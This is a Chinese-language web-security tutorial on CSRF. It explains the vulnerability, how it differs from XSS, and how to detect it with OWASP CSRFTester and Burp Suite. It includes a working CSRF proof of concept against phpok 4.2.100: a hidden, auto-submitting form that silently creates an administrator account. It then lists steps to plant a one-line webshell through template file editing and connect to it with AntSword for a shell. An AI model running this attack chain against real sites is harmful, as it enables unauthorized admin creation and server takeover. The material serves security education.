DAY17、CSRF 漏洞
1、CSRF 漏洞简介
CSRF 的全称是Cross-site request forgery,即跨站请求伪造:
攻击者在被攻击者毫不知情的情况下以被攻击者的身份伪造网络请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。
具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
2、CSRF 漏洞成因及原理
在进行操作时,程序未对操作请求的来源及用户进行效验。
3、CSRF 漏洞简与 XSS 漏洞的区别
CSRF漏洞:
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
XSS漏洞:
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击。
XSS容易发现,因为攻击者需要登录后台完成攻击。管理员可以看日志发现攻击者;
CSRF则不同,他的 攻击一直是管理员自己实现的,攻击者只负责了构造代码。
4、CSRF 漏洞检测及利用
(1)(服务器对客户端的信任)用户已获取服务器认证,登录网站, 并在本地生成cookie(已进行网页认证)
(2)攻击者(或黑客)提供的恶意链接,受害者必 须在不登出存在漏洞的网站,同时使用同一个 浏览器打开(可通过社工的方法)
(3)网站除了验证Cookie,没有特殊验证方法
4.1、第一种方法:
使用 OWASP CSRFTester 工具进行检测。它是OWASP推出的CSRF半自动化软件,他省去了CSRF最繁琐的过程-------代码构造。 使用代理抓取我们在浏览器中访问过的所有的连接及表单等信息, 修改相应的表单等信息,重新提交,如果测试请求成功被网站服务器接受,则说明存在CSRF漏洞。
4.2、第二种方法:
使用 burpsuite 对 CSRF 漏洞进行检测。 首先抓取认为可能存在CSRF漏洞的请求数据包,然后查看是否存在 token 或 referer 验证。 如果不存在验证则可能存在 CSRF 漏洞 , 此时可使用 burpsuite 的 Engagement tools 去生成 CSRF 漏洞的 PoC ,去验证 CSRF 漏洞。
5、CSRF漏洞实例
phpok4.2.100CSRF任意添加管理员账号:
一、构造一个添加系统管理员的表单
<div style="display:none">
<form action="http://1xx.xxx.xxx.xx8:8081/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input typ e="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="666666";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
二、管理员访问此页面
在管理员账号登录的状态下,访问这个表单。
这时候就能够成功的创建一个管理员用户
三、在后台管理里找到风格管理>>文件管理,选择创建模板文件,写 入名字的时候填入xxx.html,抓包修改后缀名为php,如下图所示:
四、在文件管理中,选择一个文件,进行编辑,然后改名字。
(1)例如,如下图的 book_list.html
(2)编辑,在其中加入一句话木马
(3)提交,然后改名字。
五、访问。
(1)由页面最下的提示,可以猜测路径。
(2)访问页面
(3)蚁剑连接 getshell